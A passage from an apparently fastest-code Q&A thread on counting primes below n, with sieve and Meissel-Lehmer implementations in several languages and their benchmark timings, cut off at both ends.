0c00 0000 2c00 0300 ............,... 0000200: 0100 0000 10b2 0002 2a03 32b8 0003 b800 ........*.2..... 0000210: 04b6 0005 b100 0000 0100 0d00 0000 0a00 ................ 0000220: 0200 0000 0300 0f00 0400 0a00 1000 1100 ................ 0000230: 0100 0c00 0000 6600 0200 0300 0000 2003 ......f....... . 0000240: 3c03 3d1c 1aa2 0018 1b1c b800 0699 0007 <.=............. 0000250: 04a7 0004 0360 3c84 0201 a7ff e91b ac00 .....`<......... 0000260: 0000 0200 0d00 0000 1600 0500 0000 0600 ................ 0000270: 0200 0700 0900 0800 1800 0700 1e00 0900 ................ 0000280: 1200 0000 1800 04fd 0004 0101 5001 ff00 ............P... 0000290: 0000 0301 0101 0002 0101 fa00 0700 0a00 ................ 00002a0: 1300 1400 0100 0c00 0000 9700 0300 0300 ................ 00002b0: 0000 4c1a 05a2 0005 03ac 1a05 9f00 081a ..L............. 00002c0: 06a0 0005 04ac 1a05 7099 0009 1a06 709a ........p.....p. 00002d0: 0005 03ac 1a87 b800 078e 0460 3c10 063d ...........`<..= 00002e0: 1c1b a300 1b1a 1c04 6470 9900 0b1a 1c04 ........dp...... 00002f0: 6070 9a00 0503 ac84 0206 a7ff e604 ac00 `p.............. 0000300: 0000 0200 0d00 0000 2200 0800 0000 0c00 ........"....... 0000310: 0700 0d00 1300 0e00 2100 0f00 2a00 1000 ........!...*... 0000320: 3200 1100 4400 1000 4a00 1200 1200 0000 2...D...J....... 0000330: 1100 0907 0901 0b01 fd00 0b01 0114 01fa ................ 0000340: 0005 0001 0015 0000 0002 0016 ............ ``` Source Code: ``` public class E { public static void main(String[]args){ System.out.println(numPrime(Integer.parseInt(args[0]))); } private static int numPrime(int max) { int toReturn = 0; for (int i = 0; i < max; i++) toReturn += (isPrime(i))?1:0; return toReturn; } private static boolean isPrime(int n) { if(n < 2) return false; if(n == 2 || n == 3) return true; if(n%2 == 0 || n%3 == 0) return false; int sqrtN = (int)Math.sqrt(n)+1; for(int i = 6; i <= sqrtN; i += 6) if(n%(i-1) == 0 || n%(i+1) == 0) return false; return true; } } ``` Turns out the optimizer was, in fact, increasing the time taken. >.> Dammit. Input below 1000 appears to take .157s average time on my computer (likely due to class loading ಠ\_ಠ), but past about 1e7 it gets fussy. Timing list: ``` > time java E 41500;time java E 24850000;time java E 40550000;time java E 99820000;time java E 660000000;time java E 1240000000;time java E 1337000000;time java E 1907000000 4339 real 0m0.236s user 0m0.112s sys 0m0.024s 1557132 real 0m8.842s user 0m8.784s sys 0m0.060s 2465109 real 0m18.442s user 0m18.348s sys 0m0.116s 5751639 real 1m15.642s user 1m8.772s sys 0m0.252s 34286170 real 40m35.810s user 16m5.240s sys 0m5.820s 62366021 real 104m12.628s user 39m32.348s sys 0m13.584s 66990613 real 110m22.064s user 42m28.092s sys 0m11.320s 93875448 real 171m51.650s user 68m39.968s sys 0m14.916s ``` [Answer] # Rust, 0.37001 sec (12 June 2016) About 10 times slower than slower than Dennis' `C` answer, but 10 times faster than his Python entry. This answer is made possible by @Shepmaster and @Veedrac who helped improve it on [Code Review](https://codereview.stackexchange.com/questions/122120/counting-primes-less-than-n). It is taken verbatim from [@Veedrac's post](https://codereview.stackexchange.com/a/122246/86564). ``` use std::env; const EMPTY: usize = std::usize::MAX; const MAX_X: usize = 800; fn main() { let args: Vec<_> = env::args().collect(); let x: usize = args[1].trim().parse().expect("expected a number"); let root = (x as f64).sqrt() as usize; let y = (x as f64).powf(0.3333333333333) as usize + 1; let sieve_size = x / y + 2; let mut sieve = vec![true; sieve_size]; let mut primes = vec![0; sieve_size]; sieve[0] = false; sieve[1] = false; let mut a = 0; let mut num_primes = 1; let mut num_primes_smaller_root = 0; // find all primes up to x/y ~ x^2/3 aka sieve_size for i in 2..sieve_size { if sieve[i] { if i <= root { if i <= y { a += 1; } num_primes_smaller_root += 1; } primes[num_primes] = i; num_primes += 1; let mut multiples = i; while multiples < sieve_size { sieve[multiples] = false; multiples += i; } } } let interesting_primes = primes[a + 1..num_primes_smaller_root + 1].iter(); let p_2 = interesting_primes .map(|ip| primes.iter().take_while(|&&p| p <= x / ip).count()) .enumerate() .map(|(i, v)| v - 1 - i - a) .fold(0, |acc, v| acc + v); let mut phi_results = vec![EMPTY; (a + 1) * MAX_X]; println!("pi({}) = {}", x, phi(x, a, &primes, &mut phi_results) + a - 1 - p_2); } fn phi(x: usize, b: usize, primes: &[usize], phi_results: &mut [usize]) -> usize { if b == 0 { return x; } if x < MAX_X && phi_results[x + b * MAX_X] != EMPTY { return phi_results[x + b * MAX_X]; } let value = phi(x, b - 1, primes, phi_results) - phi(x / primes[b], b - 1, primes, phi_results); if x < MAX_X { phi_results[x + b * MAX_X] = value; } value } ``` Timed with: `time ./time.sh` where `time.sh` looks like: ``` #!/bin/bash a=(1907000000 1337000000 1240000000 660000000 99820000 40550000 24850000 41500) for i in {0..100}; do for j in ${a[@]}; do ./target/release/pi_n $j > /dev/null; done; done; ``` Here is the output. ``` [me@localhost pi_n]$ time ./time.sh real 0m37.011s user 0m34.752s sys 0m2.410s ``` [Answer] # Node.js (JavaScript/ES6), 83.549s (11 Nov 2016) ``` var n=process.argv[2]*1,r=new Uint8Array(n),p=0,i=1,j while(++i<=n){ if(r[i]===0){ for(j=i*i;j<=n;j+=i){r[j]=1} p+=1 } } console.log(p) ``` Finally got around to remaking this, and it's both smaller/simpler and MUCH faster than before. Rather than a slower brute force method, it utilizes the Sieve of Eratosthenes alongside more efficient data structures, so that it is now able to actually finish in a respectable time (as far as I can find on the internet, it's the fastest JS prime count function out there). Some demo times (i7-3770k): ``` 10^4 (10,000) => 0.001 seconds 10^5 (100,000) => 0.003 seconds 10^6 (1,000,000) => 0.009 seconds 10^7 (10,000,000) => 0.074 seconds 10^8 (100,000,000) => 1.193 seconds 10^9 (1,000,000,000) => 14.415 seconds ``` [Answer] # C++11, 22.6503s (28 Feb 2016) Compile with `g++ -O2 -m64 -march=native -ftree-vectorize -std=c++11 numprimes.cpp`. **These options are important.** You also need to have [Boost](http://boost.org/) installed. On Ubuntu this is available by installing `libboost-all-dev`. If you are on Windows I can recommend installing `g++` and Boost through [MSYS2](https://msys2.github.io/). I have written [a nice tutorial](https://github.com/orlp/dev-on-windows/wiki/Installing-GCC) on how to install MSYS2. After following the tutorial you can install Boost using `pacman -Sy `pacman -Ssq boost``. ``` #include <cmath> #include <cstdint> #include <iostream> #include <vector> #include <boost/dynamic_bitset.hpp> uint64_t num_primes(uint64_t n) { // http://stackoverflow.com/questions/4643647/fast-prime-factorization-module uint64_t pi = (n >= 2) + (n >= 3); if (n < 5) return pi; n += 1; uint64_t correction = n % 6 > 1; uint64_t wheels[6] = { n, n - 1, n + 4, n + 3, n + 2, n + 1 }; uint64_t limit = wheels[n % 6]; boost::dynamic_bitset<> sieve(limit / 3); sieve.set(); sieve[0] = false; for (uint64_t i = 0, upper = uint64_t(std::sqrt(limit))/3; i <= upper; ++i) { if (sieve[i]) { uint64_t k = (3*i + 1) | 1; for (uint64_t j = (k*k) / 3; j < limit/3; j += 2*k) sieve[j] = false; for (uint64_t j = (k*k + 4*k - 2*k*(i & 1))/3; j < limit/3; j += 2*k) sieve[j] = false; } } pi += sieve.count(); for (uint64_t i = limit / 3 - correction; i < limit / 3; ++i) pi -= sieve[i]; return pi; } int main(int argc, char** argv) { if (argc <= 1) { std::cout << "Usage: " << argv[0] << " n\n"; return 0; } std::cout << num_primes(std::stoi(argv[1])) << "\n"; return 0; } ``` On my machine this runs in 4.8 seconds for 1907000000 (1.9e9). The code above was repurposed from [my personal C++ library](https://github.com/orlp/libop/blob/master/bits/math.h#L330), so I had a head start. **Official times** ``` real 0m22.760s user 0m22.704s sys 0m0.080s real 0m22.854s user 0m22.800s sys 0m0.077s real 0m22.742s user 0m22.700s sys 0m0.066s real 0m22.484s user 0m22.450s sys 0m0.059s real 0m22.653s user 0m22.597s sys 0m0.080s real 0m22.665s user 0m22.602s sys 0m0.088s real 0m22.528s user 0m22.489s sys 0m0.062s real 0m22.510s user 0m22.474s sys 0m0.060s real 0m22.819s user 0m22.759s sys 0m0.084s real 0m22.488s user 0m22.459s sys 0m0.053s ``` [Answer] # C++, 2.47215s (29 Feb 2016) This is a (sloppy) multi-threaded version of my other answer. ``` #include <cstdint> #include <vector> #include <iostream> #include <limits> #include <cmath> #include <array> // uses posix ffsll #include <string.h> #include <algorithm> #include <thread> constexpr uint64_t wheel_width = 2; constexpr uint64_t buf_size = 1<<(10+6); constexpr uint64_t dtype_width = 6; constexpr uint64_t dtype_mask = 63; constexpr uint64_t buf_len = ((buf_size*wheel_width)>>dtype_width); constexpr uint64_t seg_len = 6*buf_size; constexpr uint64_t limit_i_max = 0xfffffffe00000001ULL; typedef std::vector<uint64_t> buf_type; void mark_composite(buf_type& buf, uint64_t prime, std::array<uint64_t, 2>& poff, uint64_t seg_start, uint64_t max_j) { const auto p = 2*prime; for(uint64_t k = 0; k < wheel_width; ++k) { for(uint64_t j = 2*poff[k]+(k==0); j < max_j; j += p) { buf[(j-seg_start)>>dtype_width] |= 1ULL << (j & dtype_mask); poff[k] += prime; } } } struct prime_counter { buf_type buf; uint64_t n; uint64_t seg_a, seg_b; uint64_t nj; uint64_t store_max; uint64_t& store_res; prime_counter(uint64_t n, uint64_t seg_a, uint64_t seg_b, uint64_t nj, uint64_t store_max, uint64_t& store_res) : buf(buf_len), n(n), nj(nj), seg_a(seg_a), seg_b(seg_b), store_max(store_max), store_res(store_res) {} prime_counter(const prime_counter&) = default; prime_counter(prime_counter&&) = default; prime_counter& operator =(const prime_counter&) = default; prime_counter& operator =(prime_counter&&) = default; void operator()(uint64_t nsmall_segs, const std::vector<uint64_t>& primes, std::vector<std::array<uint64_t, 2> > poffs) { uint64_t res = 0; // no new prime added portion uint64_t seg_start = buf_size*wheel_width*seg_a; uint64_t seg_min = seg_len*seg_a+5; if(seg_a > nsmall_segs) { uint64_t max_j = buf_size*wheel_width*nsmall_segs+(seg_a-nsmall_segs)*(buf_len<<dtype_width); for(size_t k = 0; k < wheel_width; ++k) { for(uint64_t i = 0; i < poffs.size() && max_j >= (2*poffs[i][k]+(k==0)); ++i) { // adjust poffs // TODO: might be a more efficient way auto w = (max_j-(2*poffs[i][k]+(k==0))); poffs[i][k] += primes[i]*(w/(2*primes[i])); if(w % (2*primes[i]) != 0) { poffs[i][k]+=primes[i];// += primes[i]*(w/(2*primes[i])+1); } /*else { }*/ } } } for(uint64_t seg = seg_a; seg < seg_b; ++seg) { std::fill(buf.begin(), buf.end(), 0); const uint64_t limit_i = std::min<uint64_t>((((seg_len+seg_min) >= limit_i_max) ? std::numeric_limits<uint32_t>::max() : ceil(sqrt(seg_len+seg_min))), store_max); uint64_t max_j = std::min(seg_start+(buf_len<<dtype_width), nj); for(uint64_t i = 0; i < primes.size() && primes[i] <= limit_i; ++i) { mark_composite(buf, primes[i], poffs[i], seg_start, max_j); } // sieve uint64_t val; const uint64_t stop = std::min(seg_min+seg_len, n); for(uint64_t i = ffsll(~(buf[0]))-((~buf[0]) != 0)+64*((~buf[0]) == 0); (val = 6ULL*(i>>1)+seg_min+2ULL*(i&1ULL)) < stop;) { if(!(buf[i>>dtype_width] & (1ULL << (i & dtype_mask)))) { ++res; ++i; } else { uint64_t mask = buf[i>>dtype_width]>>(i&dtype_mask); const int64_t inc = ffsll(~mask)-((~mask) != 0)+64*((~mask) == 0); i += inc; } } seg_min += seg_len; seg_start += buf_size*wheel_width; } store_res = res; } }; uint64_t num_primes(uint64_t n) { uint64_t res = (n >= 2) + (n >= 3); if(n >= 5) { buf_type buf(buf_len); // compute and store primes < sqrt(n) const uint64_t store_max = ceil(sqrt(n)); // only primes >= 5 std::vector<uint64_t> primes; std::vector<std::array<uint64_t, 2> > poffs; primes.reserve(ceil(1.25506*store_max/log(store_max))); poffs.reserve(ceil(1.25506*store_max/log(store_max))); uint64_t seg_start = 0; uint64_t seg_min = 5; const uint64_t num_segs = 1+(n-seg_min)/seg_len; const uint64_t nj = (n-seg_min)/3+1; // compute how many small segments there are const uint64_t nsmall_segs = 1+(store_max-seg_min)/seg_len; for(uint64_t seg = 0; seg < nsmall_segs; ++seg) { std::fill(buf.begin(), buf.end(), 0); // mark off small primes const uint64_t limit_i = std::min<uint64_t>((((seg_len+seg_min) >= limit_i_max) ? std::numeric_limits<uint32_t>::max() : ceil(sqrt(seg_len+seg_min))), store_max); uint64_t max_j = std::min(seg_start+(buf_len<<dtype_width), nj); for(uint64_t i = 0; i < primes.size() && primes[i] <= limit_i; ++i) { mark_composite(buf, primes[i], poffs[i], seg_start, max_j); } // sieve uint64_t val; const uint64_t stop = std::min(seg_min+seg_len, n); for(uint64_t i = ffsll(~(buf[0]))-((~buf[0]) != 0)+64*((~buf[0]) == 0); (val = 6ULL*(i>>1)+seg_min+2ULL*(i&1ULL)) < stop;) { if(!(buf[i>>dtype_width] & (1ULL << (i & dtype_mask)))) { if(val <= store_max) { // add prime and poffs primes.push_back(val); poffs.emplace_back(); poffs.back()[0] = (val*val-1)/6-1; if(i&1) { // 6n+1 prime poffs.back()[1] = (val*val+4*val-5)/6; } else { // 6n+5 prime poffs.back()[1] = (val*val+2*val-5)/6; } // mark-off multiples mark_composite(buf, val, poffs.back(), seg_start, max_j); } ++res; ++i; } else { uint64_t mask = buf[i>>dtype_width]>>(i&dtype_mask); const int64_t inc = ffsll(~mask)-((~mask) != 0)+64*((~mask) == 0); i += inc; } } seg_min += seg_len; seg_start += buf_size*wheel_width; } // multi-threaded sieving for remaining segments std::vector<std::thread> workers; auto num_workers = std::min<uint64_t>(num_segs-nsmall_segs, std::thread::hardware_concurrency()); std::vector<uint64_t> store_reses(num_workers); workers.reserve(num_workers); auto num_segs_pw = ceil((num_segs-nsmall_segs)/static_cast<double>(num_workers)); for(size_t i = 0; i < num_workers; ++i) { workers.emplace_back(prime_counter(n, nsmall_segs+i*num_segs_pw, std::min<uint64_t>(nsmall_segs+(i+1)*num_segs_pw, num_segs), nj, store_max, store_reses[i]), nsmall_segs, primes, poffs); } for(size_t i = 0; i < num_workers; ++i) { workers[i].join(); res += store_reses[i]; } } return res; } int main(int argc, char** argv) { if(argc <= 1) { std::cout << "usage: " << argv[0] << " n\n"; return -1; } std::cout << num_primes(std::stoll(argv[1])) << '\n'; } ``` Uses a segmented sieve of Eratosthenes with a wheel factorization of 6 to skip all multiples of 2/3. Makes use of the POSIX `ffsll` to skip consecutive composite values. To compile: ``` g++ -std=c++11 -o sieve_mt -O3 -march=native -pthread sieve_mt.cpp ``` ## unofficial timings Timed with an Intel i5-6600k on Ubuntu 15.10, the 1907000000 case took `0.817s`. **Official times** To get more precise times, I timed this 100 times, then divided the time by 100. ``` real 4m7.215s user 23m54.086s sys 0m1.239s ``` [Answer] # TypeScript, 0.1s (Oct, 2021) It is never too late to post a good solution, especially when TypeScript code outperforms most of the C++ implementations published here earlier :) This implementation finishes all test cases in **102ms** on my machine: ``` import {countPrimes} from 'prime-lib'; const inputs = [ 1907000000, 1337000000, 1240000000, 660000000, 99820000, 40550000, 24850000, 41500 ]; const start = Date.now(); inputs.forEach(i => { countPrimes(i); }); console.log(Date.now() - start); //=> 102ms ``` [Here's implementation of `countPrimes` in the library that I wrote](https://github.com/vitaly-t/prime-lib/blob/main/src/count-primes.ts). But I'm also posting the current code from the link here, just in case: ``` function countPrimes(x: number): number { if (x < 6) { if (x < 2) { return 0; } return [1, 2, 2, 3][x - 2]; } const root2 = Math.floor(Math.sqrt(x)); const root3 = Math.floor(x ** 0.33333); const top = Math.floor(x / root3) + 1; const {primes, pi} = soeCalc(top + 2); const a = pi[root3 + 1], b = pi[root2 + 1]; let sum = 0; for (let i = a; i < b; ++i) { const p = primes[i]; sum += pi[Math.floor(x / p)] - pi[p] + 1; } return Phi(x, a, primes) + a - 1 - sum; } function soeCalc(x: number): { primes: Uint32Array, pi: Uint32Array } { // Pierre Dusart's maximum primes: π(x) < (x/ln x)(1 + 1.2762/ln x) const maxPrimes = Math.ceil(x / Math.log(x) * (1 + 1.2762 / Math.log(x))); const primes = new Uint32Array(maxPrimes); const upperLimit = Math.sqrt(x); const bmc = Math.ceil(x / 32); // bitmask compression const pi = new Uint32Array(x); const arr = new Uint32Array(bmc); arr.fill(0xFFFF_FFFF); for (let i = 2; i <= upperLimit; i++) { if (arr[i >>> 5] & 1 << i % 32) { for (let j = i * i; j < x; j += i) { arr[j >>> 5] &= ~(1 << j % 32); } } } let count = 0; for (let i = 2; i < x; i++) { if (arr[i >>> 5] & 1 << i % 32) { primes[count] = i; count++; } pi[i] = count; } return {primes, pi}; } function Phi(m1: number, b1: number, p: Uint32Array): number { const fts = 800; // factorial table size const maxMem = b1 * fts + Math.min(m1, fts) + 1; const memo = new Uint16Array(maxMem); return function loop(m: number, b: number): number { if (b === 0 || m === 0) { return m; } if (m >= fts) { return loop(m, --b) - loop(Math.floor(m / p[b]), b); } const t = b * fts + m; if (!memo[t]) { memo[t] = loop(m, --b) - loop(Math.floor(m / p[b]), b); } return memo[t]; }(m1, b1); } ``` **Tested on:** * OS: Windows 10 Pro * CPU: Ryzen 9 5900X 12-Core Processor, 3693Mhz * NodeJS: v14.18.1 [Answer] # C, 2m42.7254s (Feb 28 2016) Save as `pi.c`, compile as `gcc -o pi pi.c`, run as `./pi <arg>`: ``` #include <stdlib.h> #include <stdio.h> #include <string.h> unsigned char p[2000000001]; int main(int argc, char **argv) { unsigned int n, c, i, j; n = atoi(argv[1]); memset(p, 1, n + 1); p[1] = p[0] = 0; for (i = 2, c = 0; i <= n; i++) { if (p[i]) { c++; for (j = i + i; j <= n; j += i) p[j] = 0; } } printf("%d: %d\n", n, c); return 0; } ``` Needs a lot of memory to run! If your hardware can't spare up to two gigabytes of real memory, then the program will either crash or run very slowly because of VMM and HD thrashing. Approximate timing on my hardware is 1.239×10-8·n1.065 s. For example, an input of n = 2×109 takes about 100 s to run. **Official times** ``` real 2m42.657s user 2m42.065s sys 0m0.757s real 2m42.947s user 2m42.400s sys 0m0.708s real 2m42.827s user 2m42.282s sys 0m0.703s real 2m42.800s user 2m42.300s sys 0m0.665s real 2m42.562s user 2m42.050s sys 0m0.675s real 2m42.788s user 2m42.192s sys 0m0.756s real 2m42.631s user 2m42.074s sys 0m0.720s real 2m42.658s user 2m42.115s sys 0m0.707s real 2m42.710s user 2m42.219s sys 0m0.657s real 2m42.674s user 2m42.110s sys 0m0.730s ``` [Answer] # Julia, 1m 21.1329s I'd like to come up with something a little faster, but for now here's a rather naïve implementation of the Sieve of Eratosthenes. ``` function eratos(n::Int64) sieve = trues(n) sieve[1] = false for p = 2:isqrt(n) @inbounds sieve[p] || continue for i = 2:n÷p @inbounds sieve[p*i] = false end end return sum(sieve) end const x = parse(Int64, ARGS[1]) println(eratos(x)) ``` Get the latest version of Julia for your system [here](http://julialang.org/downloads/). Make sure the Julia executable is in your path. Save the code as `sieve.jl` and run from the command line like `julia sieve.jl N`, where `N` is the input. **Official times** ``` real 1m21.227s user 1m20.755s sys 0m0.576s real 1m20.944s user 1m20.426s sys 0m0.640s real 1m21.052s user 1m20.581s sys 0m0.573s real 1m21.328s user 1m20.862s sys 0m0.570s real 1m21.253s user 1m20.780s sys 0m0.588s real 1m20.925s user 1m20.460s sys 0m0.576s real 1m21.011s user 1m20.512s sys 0m0.601s real 1m21.011s user 1m20.550s sys 0m0.564s real 1m20.875s user 1m20.409s sys 0m0.569s real 1m21.703s user 1m21.088s sys 0m0.701s ``` [Answer] # Java, 42.663122s\* (Mar 3 2016) \**this was timed internally by the program (on the OP's computer though)* ``` public class PrimeCounter { public static final String START_CODE="=", TEST_FORMAT="Input = %d , Output = %d , calculated in %f seconds%n", PROMPT="Enter numbers to compute pi(x) for (Type \""+START_CODE+"\" to start):%n", WAIT="Calculating, please wait...%n", WARNING="Probably won't work with values close to or more than 2^31%n", TOTAL_OUTPUT_FORMAT="Total time for all inputs is %f seconds%n"; public static final int NUM_THREADS=16,LOW_LIM=1,HIGH_LIM=1<<28; private static final Object LOCK=new Lock(); private static final class Lock{} /** * Generates and counts primes using an optimized but naive iterative algorithm. * Uses MultiThreading for arguments above LOW_LIM * @param MAX : argument x for pi(x), the limit to which to generate numbers. */ public static long primeCount(long MAX){ long ctr=1; if(MAX<1<<7){ for(long i=3;i<=MAX;i+=2){ if(isPrime(i))++ctr; } }else{ long[] counts=new long[NUM_THREADS]; for(int i=0;i<NUM_THREADS;++i){ counts[i]=-1; } long range=Math.round((double)MAX/NUM_THREADS); for(int i=0;i<NUM_THREADS;++i){ long start=(i==0)?3:i*range+1,end=(i==NUM_THREADS-1)?MAX:(i+1)*range; final int idx=i; new Thread(new Runnable(){ public void run(){ for(long j=start;j<=end;j+=2){ if(isPrime(j))++counts[idx]; } } }).start(); } synchronized(LOCK){ while(!completed(counts)){ try{ LOCK.wait(300);}catch(InterruptedException ie){} } LOCK.notifyAll(); } for(long count:counts){ ctr+=count; } ctr+=NUM_THREADS; } return ctr; } /** * Checks for completion of threads * @param array : The array containing the completion data */ private static boolean completed(long[] array){ for(long i:array){ if(i<0)return false; }return true; } /** * Checks if the parameter is prime or not. * 2,3,5,7 are hardcoded as factors. * @param n : the number to check for primality */ private static boolean isPrime(long n){ if(n==2||n==3||n==5||n==7)return true; else if(n%2==0||n%3==0||n%5==0||n%7==0)return false; else{ for(long i=11;i<n;i+=2){ if(n%i==0)return false; } return true; } } /** * Calculates primes using the atandard Sieve of Eratosthenes. * Uses 2,3,5,7 wheel factorization for elimination (hardcoded for performance reasons) * @param MAX : argument x for pi(x) * Will delegate to <code>primeCount(long)</code> for MAX<LOW_LIM and to <code>bitPrimeSieve(long)</code> * for MAX>HIGH_LIM, for performance reasons. */ public static long primeSieve(long MAX){ if(MAX<=1)return 0; else if(LOW_LIM>0&&MAX<LOW_LIM){return primeCount(MAX);} else if(HIGH_LIM>0&&MAX>HIGH_LIM){return bitPrimeSieve(MAX);} int n=(int)MAX; int sn=(int)Math.sqrt(n),ctr=2; if(sn%2==0)--sn; boolean[]ps=new boolean[n+1]; for(int i=2;i<=n;++i){ if(i==2||i==3||i==5||i==7)ps[i]=true; else if(i%2!=0&&i%3!=0&&i%5!=0&&i%7!=0)ps[i]=true; else ++ctr; } for(int i=(n>10)?11:3;i<=sn;i+=2){ if(ps[i]){ for(int j=i*i;j<=n;j+=i){ if(ps[j]){ ps[j]=false;++ctr;} } } } return (n+1-ctr); } /** * Calculates primes using bitmasked Sieve of Eratosthenes. * @param MAX : argument x for pi(x) */ public static long bitPrimeSieve(long MAX) { long SQRT_MAX = (long) Math.sqrt(MAX); if(SQRT_MAX%2==0)--SQRT_MAX; int MEMORY_SIZE = (int) ((MAX+1) >> 4); byte[] array = new byte[MEMORY_SIZE]; for (long i = 3; i <= SQRT_MAX; i += 2) { if ((array[(int) (i >> 4)] & (byte) (1 << ((i >> 1) & 7))) == 0) { for(long j=i*i;j<=MAX;j+=i<<1) { if((array[(int) (j >> 4)] & (byte) (1 << ((j >> 1) & 7))) == 0){ array[(int) (j >> 4)] |= (byte) (1 << ((j >> 1) & 7)); } } } } long pi = 1; for (long i = 3; i <= MAX; i += 2) { if ((array[(int) (i >> 4)] & (byte) (1 << ((i >> 1) & 7))) == 0) { ++pi; } } return pi; } /** * Private testing and timer function * @param MAX : input to be passed on to <code>primeSieve(long)</code> */ private static long sieveTest(long MAX){ long start=System.nanoTime(); long ps=primeSieve(MAX); long end=System.nanoTime(); System.out.format(TEST_FORMAT,MAX,ps,((end-start)/1E9)); return end-start; } /** * Main method: accepts user input and shows total execution time taken * @param args : The command-line arguments */ public static void main(String[]args){ double total_time=0; java.util.Scanner sc=new java.util.Scanner(System.in); java.util.ArrayList<Long> numbers=new java.util.ArrayList<>(); System.out.format(PROMPT+WARNING); String line=sc.nextLine(); while(!line.equals(START_CODE)/*sc.hasNextLine()&&Character.isDigit(line.charAt(0))*/){ numbers.add(Long.valueOf(line)); line=sc.nextLine(); } System.out.format(WAIT); for(long num:numbers){ total_time+=sieveTest(num); } System.out.format(TOTAL_OUTPUT_FORMAT,total_time/1e9); } } ``` Follows in the great PPCG tradition of self-documenting code (although not in the literal sense :p). This is to prove the point that Java can be fast enough to be competitive with other VM languages when using similar algorithms. # Run information Run it as you would have @CoolestVeto's answer, but mine doesn't need command-line arguments, it can get them from STDIN. Tweak the `NUM_THREADS` constant to set it to 2x your native core count for maximum performance (as I observed - In my case I have 8 virtual cores so it is set to 16, the OP might want 12 for his hexa-core processor). When I ran these tests I used JDK 1.7.0.45 with BlueJ 3.1.6 (IntelliJ was updating) on Windows 10 Enterpise x64 on a ASUS K55VM laptop (Core i7 3610QM, 8GB RAM). Google Chrome 49.0 64-bit with 1 tab (PPCG) open and QBittorrent downloading 1 file were running in the background, 60% RAM usage at start of run. Basically, ``` javac PrimeCounter.java java PrimeCounter ``` The program will walk you through the rest. Timing is done by Java's inbuilt `System.nanoTime()`. # Algorithm details: Has 3 variants for different use cases - a naive version like @CoolestVeto's (but multithreaded) for inputs below 2^15, and a bitmasked sieve of Eratosthenes with odd-elimination for inputs above 2^28, and a normal sieve of Eratosthenes with a 2/3/5/7 wheel factorization for pre-elimination of multiples. I use the bitmasked sieve to avoid special JVM arguments for the largest test cases. If that can be done, the overhead for the calculation of the count in the bitmasked version can be eliminated. Here's the output: ``` Enter numbers to compute pi(x) for (Type "=" to start): Probably won't work with values close to or more than 2^31 41500 24850000 40550000 99820000 660000000 1240000000 1337000000 1907000000 = Calculating, please wait... Input = 41500 , Output = 4339 , calculated in 0.002712 seconds Input = 24850000 , Output = 1557132 , calculated in 0.304792 seconds Input = 40550000 , Output = 2465109 , calculated in 0.523999 seconds Input = 99820000 , Output = 5751639 , calculated in 1.326542 seconds Input = 660000000 , Output = 34286170 , calculated in 4.750049 seconds Input = 1240000000 , Output = 62366021 , calculated in 9.160406 seconds Input = 1337000000 , Output = 66990613 , calculated in 9.989093 seconds Input = 1907000000 , Output = 93875448 , calculated in 14.832107 seconds Total time for all inputs is 40.889700 seconds ``` [Answer] # Python 3 ``` import sys sys.setrecursionlimit(sys.maxsize) n = int(sys.argv[-1]) if n < 4: print(0 if n < 2 else n-1) exit() p = [0, 0] + [True] * n i = 0 while i < pow(n, 0.5): if p[i]: j = pow(i, 2) while j < n: p[j] = False j += i i += 1 print(sum(p) - 2) ``` Uses the Sieve of Eratosthenes. Runs at an average of `8.775s` where `n = 10^7`. To time, I used the builtin `time` command. For example: ``` $ time python3 test.py 90 24 real 0m0.045s user 0m0.031s sys 0m0.010s ``` [Answer] # Python 3.8 I wrote this janky code a long time ago based on some blogpost about Meissel-Lehmer I read. I'm not even sure how it works any more. One day I'll get around to cleaning it up and optimizing it. Unofficial timing for 1907000000 case is 0.98 sec. ``` def memoize(obj): """Decorator that memoizes a function's calls. Credit: Python wiki""" # ignores **kwargs from functools import wraps cache = obj.cache = {} @wraps(obj) def memoizer(*args, **kwargs): if args not in cache: cache[args] = obj(*args, **kwargs) return cache[args] return memoizer def prime_count_sieve(n, primes): from bisect import bisect return bisect(primes, n) _prime_count_p = None _prime_count_limit = 10**4 @memoize def _phi(x, a): if a == 1: return (x + 1) // 2 return _phi(x, a-1) - _phi(x // _prime_count_p[a], a-1) @memoize def _pi(n): if n < _prime_count_limit: return prime_count_sieve(n, _prime_count_p[1:]) z = int((n + 0.5)**0.5) a = _pi(int(z**0.5 + 0.5)) b = _pi(z) c = _pi(int(n**(1/3) + 0.5)) s = _phi(n, a) + (b+a-2)*(b-a+1)//2 for i in range(a+1, b+1): w = n / _prime_count_p[i] lim = _pi(int(w**0.5)) s -= _pi(int(w)) if i <= c: for j in range(i, lim+1): s += -_pi(int(w / _prime_count_p[j])) + j - 1 return s def prime_count(n): # a-th prime for small a (1-indexed) global _prime_count_p sieve_max = int(n**0.5)+1 # can be optimized return _pi(n) ``` [Answer] # C++, 9.3221s (29 Feb 2016) ``` #include <cstdint> #include <vector> #include <iostream> #include <limits> #include <cmath> #include <array> // uses posix ffsll #include <string.h> #include <algorithm> constexpr uint64_t wheel_width = 2; constexpr uint64_t buf_size = 1<<(10+6); constexpr uint64_t dtype_width = 6; constexpr uint64_t dtype_mask = 63; constexpr uint64_t buf_len = ((buf_size*wheel_width)>>dtype_width); typedef std::vector<uint64_t> buf_type; void mark_composite(buf_type& buf, uint64_t prime, std::array<uint64_t, 2>& poff, uint64_t seg_start, uint64_t max_j) { const auto p = 2*prime; for(uint64_t k = 0; k < wheel_width; ++k) { for(uint64_t j = 2*poff[k]+(k==0); j < max_j; j += p) { buf[(j-seg_start)>>dtype_width] |= 1ULL << (j & dtype_mask); poff[k] += prime; } } } uint64_t num_primes(uint64_t n) { uint64_t res = (n >= 2) + (n >= 3); if(n >= 5) { buf_type buf(buf_len); // compute and store primes < sqrt(n) const uint64_t store_max = ceil(sqrt(n)); // only primes >= 5 std::vector<uint64_t> primes; // 5,7,11 std::vector<std::array<uint64_t, 2> > poffs;// {{3,0},{0,5},{8,1}}; primes.reserve(ceil(1.25506*store_max/log(store_max))); poffs.reserve(ceil(1.25506*store_max/log(store_max))); uint64_t seg_start = 0; uint64_t seg_min = 5; constexpr uint64_t seg_len = 6*buf_size;///wheel_width; constexpr uint64_t limit_i_max = 0xfffffffe00000001ULL; const uint64_t num_segs = 1+(n-seg_min)/seg_len; const uint64_t nj = (n-seg_min)/3+1; for(uint64_t seg = 0; seg < num_segs; ++seg) { std::fill(buf.begin(), buf.end(), 0); // mark off small primes const uint64_t limit_i = std::min<uint64_t>((((seg_len+seg_min) >= limit_i_max) ? std::numeric_limits<uint32_t>::max() : ceil(sqrt(seg_len+seg_min))), store_max); uint64_t max_j = std::min(seg_start+(buf_len<<dtype_width), nj); for(uint64_t i = 